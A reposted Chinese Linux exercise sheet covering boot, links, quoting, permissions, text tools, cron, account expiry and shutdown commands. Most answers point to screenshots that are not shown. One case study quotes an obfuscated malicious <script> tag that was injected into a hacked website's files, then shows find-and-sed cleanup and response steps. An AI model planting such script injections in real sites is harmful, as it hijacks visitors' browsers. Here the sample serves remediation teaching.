Linux教学辅助训练(第三阶段)

来源:互联网 发布:淘宝域名助手 编辑:程序博客网 时间:2024/04/24 10:35

Linux教学辅助训练(第三阶段)

标签(空格分隔): Linux辅助训练-陈思齐

---更多资料点我查看

提示:本阶段性练习题是对《实战教学笔记》相应章节知识的归纳与扩展部分,必须要 会,是面试前必须重温的一套基础练习(第一阶段即为实战教学笔记第四节 Linux命令 基础)。

本文涉及的命令有
w,who,users,last,lastlog,mkdir,chmod,cut,awk,sed,setup,ifconfig,route,date,sudo,which,whereis,locate,find,shutdown,reboot,useradd,chage,grep,echo,stat

本文涉及的知识有
(1)软链接知识,
(2)开机启动知识
(3)系统运行级别
(4)文件删除原理
(5)正则表达式
(6)linux基础系统网络配置
(7)linux PATH环境变量知识
(8)定时任务
(9)linux 系统权限知识
(10)系统重要路径知识
(11)linux常用快捷键知识

一,口头表达练习

1.1 描述linux系统从开机到登陆界面的启动过程

屏幕快照 2017-01-19 下午3.30.42.png-292.7kB
1,开机BIOS自检,加载硬盘
2,MBR引导
3,grub菜单
4,加载内核kernel
5,启动init进程
6,读取inittab配置文件
7,执行/etc/rc.d/rc.sysinit初始化脚本
8,根据启动级别运行/etc/rc.d/rc.d/目录下的一系列软链接脚本(对应启动级别)
9,运行/etc/rc.d/rc.local个人配置脚本
10,执行/bin/login登陆脚本登陆

1.2 描述linux下软链接和硬链接的区别。

屏幕快照 2017-01-24 上午10.08.52.png-369.3kB
1,如何创建

默认不带参数情况下,ln命令创建的是硬链接,带-s参数的ln命令创建的是软链接

2,含义:

硬链接文件与源文件的inode节点号相同,而软链接文件相当于windows下面的快捷方式(inode节点号与源文件不同)

3,特点:

不能对目录创建硬链接,但可以创建软链接,对目录的软链接会经常被用到。
软链接可以跨文件系统,硬链接不可以跨文件系统

4,软硬链接和源文件的删除

删除软链接文件,对源文件及硬链接文件无任何影响
删除文件的硬链接文件,对源文件及软链接文件无任何影响
删除链接文件的源文件,对硬链接文件无影响,会导致其软链接失效(红底白字闪烁妆)
同时删除源文件及其硬链接文件,整个文件才会被真正的删除

1.3 描述linux shell中单引号,双引号及不加引号的简单区别

1,单引号:

可以说是所见即所得,也就是将单引号内的内容原样输出,或者描述为单引号里面看到的是什么就会输出什么。

2,双引号:

把双引号内的内容输出出来,如果内容中有命令,变量等,会先把变量,命令解析出结果,然后在输出最终内容来。

3,无引号:

与双引号类似,但支持通配符

把内容输出出来,可能不会将含有空格的字符串视为一个整体输出,如果内容中有命令,变量等,会先把变量,命令解析出结果,然后在输出最终内容来,如果字符串中带有空格等特殊字符,则不能完整的输出,需要改加双引号,一般连续的字符串,数字,路径等可以用,不过最好用双引号替代之。

QQ20170124-105807@2x.png-51.6kB

1.4描述linux运行级别0-6的各自含义

0:关闭计算机
1:单用户模式
2:没有NFS网络文件系统的多用户模式
3:命令(文本)模式
4:保留模式
5:图形桌面模式
6:重启计算机

1.5描述linux下文件删除的原理

屏幕快照 2017-01-24 上午10.59.56.png-369.7kB

linux文件删除原理

  • linux是通过link的数量来控制文件删除的,只有当一个文件不存在任何link的时候,这个文件才会被删除。一般来说,每个文件都有2个link计数器:i_count和i_link.
  • i_count的意义是当前文件使用者(被调用)的数量,i_link的意义是介质连接的数量(硬链接的数量);可以理解为i_count是内存的引用计数器,i_link是磁盘的引用计数器
  • 当一个文件被某一个进程引用时,对应i_count数就会增加;当创建文件的硬链接的时候,对应i_link数就会增加
  • 对于删除命令rm而言,实际就是减少磁盘引用计数i_link。
    对于linux系统来讲,只有当i_link和i_count数量同时为0时,系统才会将文件删除。

二,笔试部分

2.1 如何取得/chensiqi.py 文件的权限对应的数字内容,如-rw-r-r-- 为644,要求使用命令取得644这样的数字

答:
方法一:ll + tr + awk
QQ20170125-205725@2x.png-46.6kB
方法二:stat + grep + egrep
QQ20170125-211117@2x.png-62.1kB
方法三:stat + sed + awk
QQ20170125-211652@2x.png-54.3kB
方法四:stat + awk + sed
QQ20170125-213200@2x.png-44.8kB
方法五:stat +sed的反向引用
QQ20170203-113804@2x.png-101.3kB
方法六:stat +sed +cut
QQ20170203-192116@2x.png-69.4kB
方法七:stat -c
QQ20170203-192714@2x.png-60.7kB

本题方法有很多,请同学们将之前所学知识融会贯通。(相信学习到这里的同学已经渐渐开始明白sed,awk 正则之强大)

屏幕快照 2017-02-03 上午11.40.39.png-199.3kB

2.2 linux下通过mkdir命令创建一个新目录/chensiqi/ett,它的硬链接数是多少,为什么?如果在/chensiqi/ett下面再创建一个目录test。再问/chensiqi/ett的硬链接数是多少?为什么?

答:

新创建的文件夹默认两个硬链接数

QQ20170203-193502@2x.png-43.5kB

在文件夹里在创建一个文件夹,当前文件夹硬链接数变成3个

QQ20170203-195559@2x.png-85.8kB

QQ20170203-200244@2x.png-28.6kB

2.3 请执行命令取出linux中eth0的IP地址(请用cut,有能力者也可以分别用awk,sed命令答)

答:
方法一:cut解决
QQ20170203-200935@2x.png-72.2kB
方法二:sed解决
QQ20170203-202212@2x.png-248.2kB
方法三:awk解决
QQ20170203-202855@2x.png-85.2kB
awk简化实现方法
QQ20170204-102358@2x.png-107.4kB
方法四:egrep解决
QQ20170203-203632@2x.png-89.1kB

方法还是很多,这里就不一一举例了,目前辅助训练已经进入了第三阶段,在本阶段里,所有同学都应该将grep,egrep,sed,awk,cut,正则,扩展正则用熟练,这是作为运维人员的基础核心能力之一,非常重要。

2.4 请给出默认情况eth0网卡配置文件的路径及客户端DNS的路径

答:
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/resolv.conf

2.5 企业案例模拟:查找当前目录下所有文件,并把文件中的www.etiantian.org字符串替换成www.chensiqi.cc

题目背景:

这是根据一个IT公司遇到的实际问题改编的题,当时的情况是:一个lamp服务器,站点目录下所有文件均被植入了如下内容:

<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%%6F/x.js?google_ad=93x28_ad></script>

包括图片文件也被植入了,网站打开时就会调用这个地址,显示一个广告,造成的影响很恶劣,虽然问题现在看起来简单,但当时该公司的两个linux运维花了很久都没搞定
实际解决办法:
思路是,需要遍历所有目录所有文件,把以上被植入的内容删除掉
一,通过find找出需要修改的文件
find /chensiqi -type f
二,在生产环境下可以先通过grep -l查看一下预删除的被篡改内容的文件的文件名
find /chensiqi -type f | xargs grep -l "篡改的内容"
三,删除掉被篡改的内容
find /chensiqi -type f | xargs sed -i 's#被篡改内容##g'
或:
find /chensiqi -type f -exec sed -i 's#被篡改内容##g' {} \;
当时的处理过程:
1,和运维人员确认确实出问题了,并详细确认问题情况。
2,制定处理方案,先备份已有数据,然后,执行命令批量修改回来
3,写解决说明(类似本例这样),写完发给她们的运维
4,询问处理结果,并告知详细查看日志,寻找问题发生来源
5,提供亡羊补牢解决方案(站点目录严格权限规划方案及新上线发布规范思路)
从发现到解决的过程:
1,运营人员,网站用户发现问题,网站有弹窗广告
2,运营人员报给开发人员,开发联系运维人员,开发和运维共同解决
3,开发发现问题原因就是所有站点目录被嵌入了一段JS代码
4,运维人员解决问题
综上:
a,我们需要先备份原始出现问题的原始文件
b,历史备份覆盖出现问题的文件,先让问题立刻消失
c,find+sed 替换出现问题的原始文件,在测试服务器上看看问题是否解决
d,详细查看日志,寻找问题发生的来源
e,提供亡羊补牢解决方案(站点目录严格权限规划方案及新上线发布规范思路)

本虚拟题目解决方法
方法一:exec解决
QQ20170204-113338@2x.png-40.2kB

方法二:xargs解决
QQ20170204-113641@2x.png-25kB

2.6 如何赋予chensiqi文件-rw-r--r-x权限属性

答:chmod 645 文件名
QQ20170204-114002@2x.png-39.2kB

2.7 执行下面命令时发现提示需要输入密码,请问提示输入的密码是哪个用户的密码?

[test@chensiqi ~]$ sudo su - chensiqi

答:当前登录的test用户的密码

2.8 问题:请问在一个命令上加什么参数可以实现下面命令的内容在同一行输出。

echo "chensiqi";echo "chensiqi"
答:本题考察echo的-n参数。

屏幕快照 2017-02-04 下午1.04.08.png-23.9kB

2.9 问题:请给出如下格式的date命令 例:11-02-26.在给出实现按周输出 比如:周六输出为6,请分别给出命令

答:date +%F_%w
QQ20170204-134040@2x.png-152.9kB

2.10 [CentOS5.X]问题:当从root用户切到普通用户时,执行ifconfig 会提示;

[chensiqi@chensiqi ~]$ ifconfig
-bash:ifconfig:command not found
提示:c58会遇到,c64没有此问题

请问这是为什么?如何解决,请给出详细解决过程。
答:

要想解决这个问题,我们需要明白,当我们输入一个命令以后,系统发生了什么?

  • 当你输入一个命令以后,linux会先去$PATH里去找这个命令
  • 如果$PATH里没有这个命令的上级目录文件夹,那么命令自然就找不到
  • 因此,我们需要export PATH=/sbin/:\$PATH将命令的路径加入到环境变量里(临时生效)
  • 或者,echo "export PATH=/sbin/:$PATH" >> /etc/profile(永久生效)
  • 还可以放到用户的配置文件里,让某个用户登录时生效,(用户家目录下的.bash_profile)

2.11 问题:扩展问题:打印三天前的日期格式如:2011-02-26

答:date +%F -d "-3 day"

-d 指定日期打印 -3 day,3天前
-d “+3 day” 指定3天后打印日期

屏幕快照 2017-02-04 下午3.06.27.png-91.9kB

2.12 已知/chensiqi/test.txt文件内容为:

屏幕快照 2017-02-04 下午3.14.46.png-29.2kB
请问如何把文件中的空格过滤掉(要求命令行实现)
答:
方法一:grep或egrep
屏幕快照 2017-02-04 下午3.25.12.png-22.5kB
如果是空行则需要^$来过滤

方法二:awk
QQ20170204-155536@2x.png-122.7kB

2.13 已知/chensiqi/ett.txt 文件内容为:

chensiqi
chhensiiqiedu
test

请使用grep或egrep正则匹配的方式过滤出前两行内容
答:
QQ20170204-154106@2x.png-121.5kB

2.14 请描述下列路径的内容是做什么的?

/var/log/messages

linux日志文件绝对路径

/var/log/secure

linux安全日志文件绝对路径(用户登录日志)

/var/spool/clientmqueue

linux邮件临时目录

/proc/interrupts

查看中断文件

/etc/fstab

linux开机自动挂载配置文件绝对路径

/etc/profile

linux全局变量配置文件绝对路径

2.15 如何快速查到ifconfig的全路径(假如你不知道他的路径)

答:

which ifconfig
whereis ifconfig

2.16 每周日上午9点30分运行chensiqi.sh脚本,请用linux定时任务命令表示

答:

每周日上午9:30分运行脚本chensiqi.sh
30 09 * * 0 /bin/sh chensiqi.sh > /dev/null

2.17 请给出查看当前哪些用户在线的linux命令

答:w

2.18 企业案例:公司一开发人员申请对某一服务器10天的普通用户权限,请问你如何操作?

答:

linux下控制账户过期的方法:
企业里一般给无人管理的角色账户或开发人员临时需求等可以设定账户有效期,提升安全

方法一:添加用户时

  • useradd chensiqi -e 01/28/12 (临时指定某个用户的失效时间)
  • useradd -D -e 01/28/12(永久修改创建用户时的默认失效时间)
    QQ20170204-181938@2x.png-144.1kB
    或直接修改下面文件的参数
    屏幕快照 2017-02-04 下午6.25.06.png-54.8kB
    还原用户默认失效时间
    QQ20170204-182834@2x.png-73.3kB
    查看某用户的账户属性
    QQ20170204-181230@2x.png-139.3kB

方法二:修改账户属性
usermod -e 12/26/17 chensiqi

方法三:调整账户过期时间
chage -E 12/26/17 chensiqi

2.19 请给出正确的关机和重启服务器的命令

答:
关机:

  • shutdown -h now 立刻关闭(生产环境常用)
  • shutdown -h 1 1分钟后关机
  • init 0 切换运行级别到0
  • halt 立即停止系统,需要人工关闭电源(生产环境常用)
  • poweroff 立即停止系统,并且关闭电源

重启
reboot (生产环境常用)
shutdown -r now (生产环境常用)
shutdown -r 1 1分钟以后重启
init 6

注销
logout
exit
ctrl + d (生产环境常用)

2.20 请写出下面linux SecureCRT命令快捷键命令的功能?

Ctrl + a:切换到命令行开始
Ctrl + c:终止当前命令或脚本
Ctrl + d:退出当前shell
Ctrl + e:切换到命令行末尾
Ctrl + l:清除屏幕内容,相当于clear
Ctrl + u:清除(剪切)光标之前的内容
Ctrl + k:清除(剪切)光标之后的内容
tab :命令补全
Ctrl + shift + c:命令行复制内容
Ctrl + shift + v:命令行黏贴内容



0 0
原创粉丝点击